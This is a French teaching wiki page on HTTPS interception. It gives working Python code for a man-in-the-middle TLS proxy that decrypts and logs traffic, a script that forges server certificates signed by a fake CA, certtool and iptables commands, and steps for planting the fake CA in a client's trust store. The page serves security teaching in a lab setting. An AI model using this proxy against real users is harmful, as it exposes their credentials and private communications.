====== Interception HTTPS ======

Nous allons mettre en oeuvre le mécanisme d'interception HTTPS, qui consiste à faire in Man-in-the-Middle pour déchiffre le traffic HTTPS entre le client et le serveur !


Considérons le réseau suivant :


  Client Web <-----> Proxy <--- (...) --> Server Web (https://nile.metal.fr)  


=== Proxy SSL ===

Voici le code de notre proxy SSL :

<code python sslproxy.py>
#!/usr/bin/python3
import socket
import ssl
import sys
import time
import datetime
import os

BUFSIZE = 4096

# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"

# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"

# actual CA certificate
CA_CERT = "ca-cert.pem"

######### MISC #########

def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))

######### Main Serve Routine  #########

# handle one connection
def serve(clientconn, clientaddr, serveraddr):
    (serverhost, serverport) = serveraddr       # the actual server
    (clienthost, clientport) = clientaddr       # the actual client

    # wrap client connection with SSL context
    clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY)
    clientconnssl = clientcontext.wrap_socket(clientconn, server_side=True)

    # connect to server with SSL context
    serverconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    servercontext.load_verify_locations(CA_CERT)                                 # should be in the store...    
    servercontext.check_hostname = True
    serverconnssl = servercontext.wrap_socket(serverconn, server_side=False, server_hostname=serverhost)

    try:
        serverconnssl.connect(serveraddr)
    except ssl.SSLError as e:
        log_message("%s", e)
        clientconnssl.close()
        return

    # start talking in SSL/TLS
    sys.stdout.write("~~~~~ REQUEST ~~~~~\n")
    buffer = clientconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    serverconnssl.sendall(buffer)
    sys.stdout.write("~~~~~ ANSWER ~~~~~\n")
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)

    # close sockets
    serverconnssl.close()
    clientconnssl.close()
    log_message('all connections closed')

######### Main Loop #########

def main():

    if len(sys.argv) != 4:
        sys.stderr.write("usage: sslproxy <server hostname> <server port> <proxy port>\n")
        sys.exit(1)

    SERVERHOST = sys.argv[1]
    SERVERPORT = int(sys.argv[2])
    PROXYHOST = ''
    PROXYPORT = int(sys.argv[3])

    proxyaddr = (PROXYHOST, PROXYPORT)
    serveraddr = (SERVERHOST, SERVERPORT) # the target server

    # create proxy socket listening on PROXYPORT
    proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxysocket.bind(proxyaddr)
    proxysocket.listen()

    # main loop
    log_message('proxy listening on port: %d', PROXYPORT)
    log_message('target server: %s', serveraddr)

    while True:
        try:
            log_message("waiting new connection...")
            clientconn, clientaddr = proxysocket.accept()
            serve(clientconn, clientaddr, serveraddr)
        except KeyboardInterrupt:
            log_message("shutting down!")
            proxysocket.close()
            break

######### Main Program  #########

main()
</code>

=== Génération des faux certificats ===

Commençons par générer un //fake CA// : 

  $ certtool --generate-privkey --outfile fake-ca-key.pem
  $ certtool --generate-self-signed --load-privkey fake-ca-key.pem --outfile fake-ca-cert.pem

Voici les réponses à donner strictement :

  * La plupart des champs peuvent rester vides.
  * Common name: FAKECA
  * The certificate will expire in (days): 255  
  * Does the certificate belong to an authority? (y/N): y
  * Will the certificate be used to sign other certificates? (y/N): y
  * CRL signing: y
  * All other extensions: NO (required)

Pour afficher le contenu de son certificat :

  $ certtool --infile fake-ca-cert.pem -i

Générons maintenant le //fake// certifcat de notre serveur. 

   $ certtool --generate-privkey --outfile fake-server-key.pem
   $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate fake-ca-cert.pem --load-ca-privkey fake-ca-key.pem

Voici les réponses à donner strictement :

  * La plupart des champs peuvent rester vides
  * CN=nile.metal.fr
  * DNSName=nile.metal.fr
  * IP address=10.0.0.2
  * The certificate will expire in (days): 255
  * Will the certificate be used for signing (required for TLS)? (y/N): y
  * Will the certificate be used for encryption (not required for TLS)? (y/N): y

Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr :

  ./gen-fake-cert.py nile.metal.fr 443

<code python gen-fake-cert.py>  
#!/usr/bin/python3
import socket
import ssl
import sys
import pprint
import OpenSSL  # deprecated ?
import time
import datetime
import os
import struct

# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"

# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"

######### MISC #########

def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))

######### Certificate Tools #########

# cert input are assuming to be x509

# save x509 cert file (PEM format)
def save_cert(cert, path):
    certfile = open(path, "wb")
    certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))
    certfile.close()

# save private key file (PEM format)
def save_key(key, path):
    keyfile = open(path, "wb")
    keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key))
    keyfile.close()

def load_cert(path):
    certfile = open(path, 'rt')
    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile.read())
    certfile.close()
    return cert

def load_key(path):
    keyfile = open(path, 'rt')
    key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, keyfile.read())
    keyfile.close()
    return key

######### Generate Fake Certificate #########

def generate_fake_cert(cert, cacert, cakey):

    # get CN & SAN from x509 cert
    cn = cert.get_subject().CN
    ext = None
    for idx in range(cert.get_extension_count()):
        ext = cert.get_extension(idx)
        if(ext.get_short_name() == b'subjectAltName'): break
    # if DEBUG: print("  * SAN = ", ext.get_data()) # in raw format (one should decode it...)

    # create a key pair
    fakekey = OpenSSL.crypto.PKey()
    fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, 1024)

    # create a new x509 cert
    fakecert = OpenSSL.crypto.X509()  # x509 format
    fakecert.get_subject().CN = cn
    fakecert.set_serial_number(int(time.time()))
    fakecert.gmtime_adj_notBefore( 0 )             # not valid before today
    fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years
    fakecert.set_pubkey(fakekey)
    fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions

    # add subjectAltName X509 extension (SAN)
    if ext: fakecert.add_extensions([ext])

    # set issuer and CA signature
    fakecert.set_issuer(cacert.get_subject())
    fakecert.sign(cakey, 'sha1')
    fakecert.sign(cakey, 'sha256')

    return (fakecert, fakekey)


######### Main Program  #########

if len(sys.argv) != 3:
    sys.stderr.write("usage: sslproxy <server hostname> <server port>\n")
    sys.exit(1)

SERVERHOST = sys.argv[1]
SERVERPORT = int(sys.argv[2])
serveraddr = (SERVERHOST, SERVERPORT) # the target server

# load CA cert & CA key (x509)
fakecacert = load_cert(FAKE_CA_CERT)
fakecakey = load_key(FAKE_CA_KEY)

sslservercert = ssl.get_server_certificate(serveraddr)
servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, sslservercert)
servercn = servercert.get_subject().CN
log_message('Get certificate: %s', servercn)

fakeservercert, fakeserverkey = generate_fake_cert(servercert, fakecacert, fakecakey)
save_cert(fakeservercert, FAKE_SERVER_CERT)
save_key(fakeserverkey, FAKE_SERVER_KEY)
log_message('Save fake server certificate %s and key %s', FAKE_SERVER_CERT, FAKE_SERVER_KEY)
</code>
  

=== Lancement du Proxy HTTPS ===

Lancement du proxy :

  iptables -t nat -F
  iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444
  ./sslproxy.py nile.metal.fr 443 4444

=== Mise en oeuvre avec un client ===

Sur le client :

  wget -4 --ca-certificate=fake-ca-cert.pem https://nile.metal.fr

Pour ajouter le //fake// CA dans le store du client, il faut faire :

  cp ca-cert.pem ca-cert.crt # renommage
  cp ca-cert.crt /usr/share/ca-certificates/mycert/
  dpkg-reconfigure ca-certificates
  
Puis, il suffit de faire :
  
  wget -4 https://nile.metal.fr
  

Video de démo par A. Guermouche : https://www.youtube.com/watch?v=KURaBFMn4xg

==== Documentation ====

Le code et la documentation du projet (version antérieure) sont ici : https://gitlab.inria.fr/esnard/https-interception 

About HTTPS interception:

  * http://www.bortzmeyer.org/https-interception.html
  * http://roberts.bplaced.net/index.php/linux-guides/centos-6-guides/proxy-server/squid-transparent-proxy-http-https
  * http://wiki.squid-cache.org/Features/HTTPS
  * https://mitmproxy.org/doc/howmitmproxy.html
  * http://docs.mitmproxy.org/en/latest/transparent.html
  * https://blog.heckel.xyz/2013/07/01/how-to-use-mitmproxy-to-read-and-modify-https-traffic-of-your-phone/

About X509 Certifcates:

  * SNI : https://fr.wikipedia.org/wiki/Server_Name_Indication
  * SAN : https://en.wikipedia.org/wiki/Subject_Alternative_Name

About SSL in Python3:  

  * https://docs.python.org/3/library/ssl.html

Misc:

  * https://cabforum.org
  * [[secres:https-misc| Quelques Notes]]